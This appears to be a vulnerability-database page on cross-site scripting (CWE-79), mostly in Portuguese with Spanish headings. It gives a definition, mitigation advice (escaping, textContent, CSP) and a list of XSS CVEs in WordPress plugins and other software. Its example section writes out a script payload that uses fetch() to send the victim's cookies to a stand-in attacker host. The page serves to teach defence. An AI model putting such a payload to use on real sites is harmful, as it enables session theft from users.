Fallos del tipo CWE-79

30.522 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-46540MEDIUMWordPress GNA Search Shortcode plugin <= 0.9.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-46536MEDIUMWordPress Carousel-of-post-images plugin <= 1.07 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-34263MEDIUMAdvantech WISE-DeviceOn Server < 5.4 Authenticated Stored XSS via plugin-config/dashboards/menusEPSS 0.2%CVE-2026-118054MEDIUMLearnPress <= 4.2.2 - Authenticated (Subscriber+) Stored DOM-Based Cross-Site Scripting via 'review_title' ParameterEPSS 0.2%CVE-2026-121519MEDIUMSocial Slider Feed <= 2.3.8 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'slidespeed' ParameterEPSS 0.2%CVE-2025-22803MEDIUMWordPress Advanced Product Information for WooCommerce plugin <= 1.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-12037MEDIUMWP 404 Auto Redirect <= 1.0.5 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-22810MEDIUMWordPress Content Blocks Builder plugin <= 2.7.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-58025MEDIUMWordPress Master Slider Plugin <= 3.11.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-1098MEDIUMCM CSS Columns <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tag' Shortcode AttributeEPSS 0.2%CVE-2025-46538MEDIUMWordPress Inline Text Popup plugin <= 1.0.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-89193HIGHRobin Image Optimizer 2.0.0 - 2.0.7 - Unauthenticated Stored XSS via WebP URL Delivery HTML ParserEPSS 0.2%CVE-2025-12453MEDIUMImproper neutralization of input during web page generation vulnerability has been discovered in OpenText™ Vertica.EPSS 0.2%CVE-2026-31859MEDIUMCraft has Reflective XSS via incomplete return URL sanitizationEPSS 0.2%CVE-2025-8896MEDIUMUser Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor <= 3.14.3 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-47656MEDIUMWordPress Spiraclethemes Site Library plugin <= 1.5.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2024-46335MEDIUMPHPGurukul Complaint Management System 2.0 is vulnerble to Cross Site Scripting (XSS) via the fromdate and todate parameters in between-dateEPSS 0.2%CVE-2026-49102MEDIUMWebmin before 2.640 allows mailboxes/detach.cgi XSS via an SVG document attachment that is viewed in the mailboxes component, because image/EPSS 0.2%CVE-2025-62798MEDIUMSharp user-provided input can be evaluated in a SharpShowTextField with Vue template syntaxEPSS 0.2%CVE-2025-13873MEDIUMThe feature to import a survey is prone to stored Cross-Site Script attacksEPSS 0.2%